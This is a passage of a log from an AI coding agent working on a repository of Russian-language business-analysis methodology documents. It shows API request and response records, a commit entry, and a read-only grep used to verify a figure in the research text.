\u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `S-SCENARIO` | \u043d\u0435\u0442 |\\n| \u0422\u0430\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0438 \u043e\u043f\u043b\u0430\u0442\u0430 | \u00ab\u041f\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u0447\u0435\u0442\u00bb, \u00ab\u0411\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u00bb, \u00ab\u0420\u0435\u043a\u0432\u0438\u0437\u0438\u0442\u044b\u00bb | `S-LIMITS` \u043f\u0440\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0438, \u0438\u043d\u0430\u0447\u0435 `S-SCOPE` | \u043d\u0435\u0442 |\\n| \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f | \u00ab1.\u00bb, \u00ab2.\u00bb, \u00ab3.1.\u00bb \u0432 `sip-trunk` | \u0448\u0443\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u0430 PDF, \u043d\u0435 \u0440\u0430\u0437\u0434\u0435\u043b | \u043d\u0435\u0442 |\\n\\n\u041d\u0438 \u043e\u0434\u043d\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0430 \u0437\u0430\u0432\u0435\u0441\u0442\u0438 \u0441\u043b\u043e\u0442, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435\u0442 \u0432 \u0441\u043b\u043e\u0432\u0430\u0440\u0435 \u0438\u0437 14\\n\u0441\u043b\u043e\u0442\u043e\u0432. \u042d\u0442\u043e \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u043d\u0435 \u043f\u0440\u0438\u0434\u0451\u0442\u0441\u044f \u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043b\u043e\u0442 \u043f\u043e\u0434\\n\u043a\u0430\u0436\u0434\u044b\u0439 \u0447\u0438\u0445\u00bb: \u043d\u0430 860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u2014 \u043d\u0435 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c.\\n\\ncommit d8a47597ed9f0301e03086e7c14cbd35205b01d1\\nAuthor: konard \\nDate:   Thu Jun 11 08:44:14 2026 +0000\\n\\n    refactor: split BA prompts draft into 23 standardized files (#56)\\n    \\n    Migrate \\\"prompts/drafts/\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410 (1).md\\\" into 23 separate prompt\\n    files using the [domain]-[operation]-[mode].md naming scheme.\\nexperiment-1027-analysis.md\",\n[2026-09-29T07:50:35.285Z] [INFO]     \"stderr\": \"\\nShell cwd was reset to /tmp/gh-issue-solver-1790667776920\",\n[2026-09-29T07:50:35.285Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:50:35.285Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:50:35.285Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:50:35.285Z] [INFO]   }\n[2026-09-29T07:50:35.285Z] [INFO] }\n[2026-09-29T07:50:35.328Z] [STDOUT] [log_ddbe00] sending request {\n[2026-09-29T07:50:35.335Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:50:35.338Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:35.340Z] [STDOUT]   options: {\n[2026-09-29T07:50:35.348Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:50:35.351Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:50:35.355Z] [STDOUT]     body: {\n[2026-09-29T07:50:35.357Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:50:35.359Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:50:35.360Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:50:35.363Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:50:35.365Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:50:35.367Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:50:35.368Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:50:35.370Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:50:35.376Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:50:35.379Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:50:35.381Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:50:35.389Z] [STDOUT]       stream: true,\n[2026-09-29T07:50:35.391Z] [STDOUT]     },\n[2026-09-29T07:50:35.393Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:50:35.394Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:50:35.397Z] [STDOUT]       aborted: false,\n[2026-09-29T07:50:35.399Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:50:35.401Z] [STDOUT]       onabort: null,\n[2026-09-29T07:50:35.403Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:50:35.405Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:50:35.407Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:50:35.409Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:50:35.411Z] [STDOUT]     },\n[2026-09-29T07:50:35.413Z] [STDOUT]     stream: true,\n[2026-09-29T07:50:35.415Z] [STDOUT]   },\n[2026-09-29T07:50:35.417Z] [STDOUT]   headers: {\n[2026-09-29T07:50:35.418Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:50:35.421Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:50:35.423Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:50:35.425Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:50:35.426Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:50:35.428Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:50:35.430Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:50:35.432Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:50:35.434Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:50:35.435Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1751\",\n[2026-09-29T07:50:35.437Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:50:35.439Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:50:35.441Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:35.443Z] [STDOUT]     \"x-client-request-id\": \"5e2f4bc2-cbac-432a-bd5c-1032d6fa9d5e\",\n[2026-09-29T07:50:35.445Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:50:35.447Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:50:35.449Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:50:35.456Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:50:35.460Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:50:35.464Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:50:35.466Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:50:35.468Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:50:35.472Z] [STDOUT]   },\n[2026-09-29T07:50:35.474Z] [STDOUT] }\n[2026-09-29T07:50:36.316Z] [STDOUT] [log_ddbe00, request-id: \"req_011CfXN9ed64dSDeyaz6DASL\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 988ms\n[2026-09-29T07:50:36.325Z] [STDOUT] [log_ddbe00] response start {\n[2026-09-29T07:50:36.350Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:36.354Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:36.357Z] [STDOUT]   headers: {\n[2026-09-29T07:50:36.361Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:36.364Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:36.366Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:36.368Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:50:36.370Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:36.375Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:36.381Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:36.388Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:36.392Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:36.396Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:36.399Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:36.404Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:36.409Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:36.414Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:36.421Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:36.431Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:36.435Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:36.440Z] [STDOUT]     \"cf-ray\": \"a42965d6dc9201ff-CDG\",\n[2026-09-29T07:50:36.447Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:50:36.450Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:36.452Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:36.459Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:36.463Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:50:36 GMT\",\n[2026-09-29T07:50:36.466Z] [STDOUT]     \"request-id\": \"req_011CfXN9ed64dSDeyaz6DASL\",\n[2026-09-29T07:50:36.469Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:50:36.472Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:36.476Z] [STDOUT]     traceresponse: \"00-dfbf38caa41c8e8f29c3bc268225d5c5-faf7e1443fb834dc-01\",\n[2026-09-29T07:50:36.478Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:36.482Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:50:36.490Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:36.494Z] [STDOUT]   },\n[2026-09-29T07:50:36.498Z] [STDOUT]   durationMs: 988,\n[2026-09-29T07:50:36.501Z] [STDOUT] }\n[2026-09-29T07:50:36.506Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:50:36.510Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:50:36 GMT\",\n[2026-09-29T07:50:36.520Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:36.525Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:36.528Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:50:36.540Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:36.544Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:36.549Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:36.555Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:50:36.559Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:36.563Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:36.567Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:36.571Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:36.576Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:36.582Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:50:36.587Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:36.589Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:36.592Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:36.595Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:36.599Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:36.603Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:36.606Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:36.615Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:36.625Z] [STDOUT]   \"request-id\": \"req_011CfXN9ed64dSDeyaz6DASL\",\n[2026-09-29T07:50:36.628Z] [STDOUT]   \"traceresponse\": \"00-dfbf38caa41c8e8f29c3bc268225d5c5-faf7e1443fb834dc-01\",\n[2026-09-29T07:50:36.633Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:36.638Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:36.643Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:50:36.650Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:36.653Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:36.655Z] [STDOUT]   \"cf-ray\": \"a42965d6dc9201ff-CDG\",\n[2026-09-29T07:50:36.657Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:50:36.659Z] [STDOUT] [log_ddbe00] response parsed {\n[2026-09-29T07:50:36.662Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:36.669Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:36.673Z] [STDOUT]   body: X {\n[2026-09-29T07:50:36.676Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:50:36.680Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:50:36.684Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:50:36.686Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:50:36.691Z] [STDOUT]     },\n[2026-09-29T07:50:36.699Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:50:36.709Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:50:36.722Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:50:36.730Z] [STDOUT]   },\n[2026-09-29T07:50:36.732Z] [STDOUT]   durationMs: 989,\n[2026-09-29T07:50:36.734Z] [STDOUT] }\n[2026-09-29T07:50:37.480Z] [INFO] {\n[2026-09-29T07:50:37.480Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:50:37.480Z] [INFO]   \"message\": {\n[2026-09-29T07:50:37.480Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:50:37.480Z] [INFO]     \"id\": \"msg_011CfXN9f7r19abYy6XzM647\",\n[2026-09-29T07:50:37.480Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:50:37.480Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:50:37.480Z] [INFO]     \"content\": [\n[2026-09-29T07:50:37.480Z] [INFO]       {\n[2026-09-29T07:50:37.480Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:50:37.480Z] [INFO]         \"id\": \"toolu_018wJpf2C3WLjp6eyhfNnVpv\",\n[2026-09-29T07:50:37.480Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:50:37.480Z] [INFO]         \"input\": {\n[2026-09-29T07:50:37.480Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/research/ba-requirements; grep -rn \\\"32\\\" methodology-unification/00-introduction.md | head -5 | cut -c1-300\",\n[2026-09-29T07:50:37.480Z] [INFO]           \"description\": \"Verify 2 of 32 accepted-without-edits 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        \"ephemeral_1h_input_tokens\": 1362\n[2026-09-29T07:50:37.480Z] [INFO]       },\n[2026-09-29T07:50:37.480Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:50:37.480Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:50:37.480Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:50:37.480Z] [INFO]     },\n[2026-09-29T07:50:37.480Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:50:37.480Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:50:37.480Z] [INFO]     \"context_management\": null\n[2026-09-29T07:50:37.480Z] [INFO]   },\n[2026-09-29T07:50:37.480Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:50:37.480Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:37.480Z] [INFO]   \"uuid\": \"6f50d94e-9b82-4552-8ec0-35b41ad50c9e\",\n[2026-09-29T07:50:37.480Z] [INFO]   \"timestamp\": \"2026-09-29T07:50:37.440Z\",\n[2026-09-29T07:50:37.480Z] [INFO]   \"request_id\": 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max_tokens: 128000,\n[2026-09-29T07:50:39.296Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:50:39.299Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:50:39.306Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:50:39.342Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:50:39.343Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:50:39.346Z] [STDOUT]       stream: true,\n[2026-09-29T07:50:39.348Z] [STDOUT]     },\n[2026-09-29T07:50:39.350Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:50:39.353Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:50:39.355Z] [STDOUT]       aborted: false,\n[2026-09-29T07:50:39.361Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:50:39.365Z] [STDOUT]       onabort: null,\n[2026-09-29T07:50:39.367Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:50:39.374Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:50:39.377Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:50:39.380Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:50:39.383Z] [STDOUT]     },\n[2026-09-29T07:50:39.385Z] [STDOUT]     stream: true,\n[2026-09-29T07:50:39.387Z] [STDOUT]   },\n[2026-09-29T07:50:39.389Z] [STDOUT]   headers: {\n[2026-09-29T07:50:39.394Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:50:39.403Z] [STDOUT]     \"anthropic-beta\": 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charset=utf-8\",\n[2026-09-29T07:50:40.295Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:50:40 GMT\",\n[2026-09-29T07:50:40.297Z] [STDOUT]     \"request-id\": \"req_011CfXN9wU72vK9gQXQAXQK3\",\n[2026-09-29T07:50:40.304Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:50:40.310Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:40.315Z] [STDOUT]     traceresponse: \"00-2e643ea504d491f64fd2e80e6039771a-eae73fe5d6dc8215-01\",\n[2026-09-29T07:50:40.327Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:40.335Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:50:40.343Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:40.348Z] [STDOUT]   },\n[2026-09-29T07:50:40.354Z] [STDOUT]   durationMs: 892,\n[2026-09-29T07:50:40.357Z] [STDOUT] }\n[2026-09-29T07:50:40.362Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:50:40.365Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:50:40 GMT\",\n[2026-09-29T07:50:40.367Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:40.369Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:40.371Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:50:40.373Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:40.375Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:40.377Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:40.378Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:50:40.380Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:40.382Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:40.384Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:40.385Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:40.387Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:40.388Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:50:40.389Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:40.391Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:40.392Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:40.393Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:40.395Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:40.396Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:40.398Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:40.400Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:40.401Z] [STDOUT]   \"request-id\": \"req_011CfXN9wU72vK9gQXQAXQK3\",\n[2026-09-29T07:50:40.403Z] [STDOUT]   \"traceresponse\": \"00-2e643ea504d491f64fd2e80e6039771a-eae73fe5d6dc8215-01\",\n[2026-09-29T07:50:40.405Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:40.407Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:40.408Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:50:40.410Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:40.416Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:40.420Z] [STDOUT]   \"cf-ray\": \"a42965ef4e2601ff-CDG\",\n[2026-09-29T07:50:40.425Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:50:40.429Z] [STDOUT] [log_7a6c87] response parsed {\n[2026-09-29T07:50:40.432Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:40.436Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:40.445Z] [STDOUT]   body: X {\n[2026-09-29T07:50:40.459Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:50:40.462Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:50:40.466Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:50:40.471Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:50:40.486Z] [STDOUT]     },\n[2026-09-29T07:50:40.497Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:50:40.502Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:50:40.504Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:50:40.507Z] [STDOUT]   },\n[2026-09-29T07:50:40.542Z] [STDOUT]   durationMs: 893,\n[2026-09-29T07:50:40.548Z] [STDOUT] }\n[2026-09-29T07:50:41.222Z] [INFO] {\n[2026-09-29T07:50:41.222Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:50:41.222Z] [INFO] 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\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u00ab6 % \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437 \u043f\u0440\u0430\u0432\u043a\u0438\u00bb \u043a\u0430\u043a \u0442\u043e\u0447\u043a\u0430 \u043e\u0442\u0441\u0447\u0451\u0442\u0430 \u0434\u043b\u044f `B-133`? | \u0417\u0430\u0434\u0430\u0451\u0442 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0443\u0441\u043f\u0435\u0445\u0430 \u043a\u0430\u0441\u043a\u0430\u0434\u0430 |\\nmethodology-unification/30-decision-framework.md:138:   \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438, \u043f\u043e\u0440\u044f\u0434\u043a\u0430 **6 %** \u0441\u0440\u0435\u0434\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c. \u0410\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u0439\\nmethodology-unification/30-decision-framework.md:203:| `\u041a-4` | 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thread: [Object ...],\n[2026-09-29T07:50:42.789Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:50:42.791Z] [STDOUT]       stream: true,\n[2026-09-29T07:50:42.795Z] [STDOUT]     },\n[2026-09-29T07:50:42.800Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:50:42.805Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:50:42.807Z] [STDOUT]       aborted: false,\n[2026-09-29T07:50:42.809Z] [STDOUT]       reason: 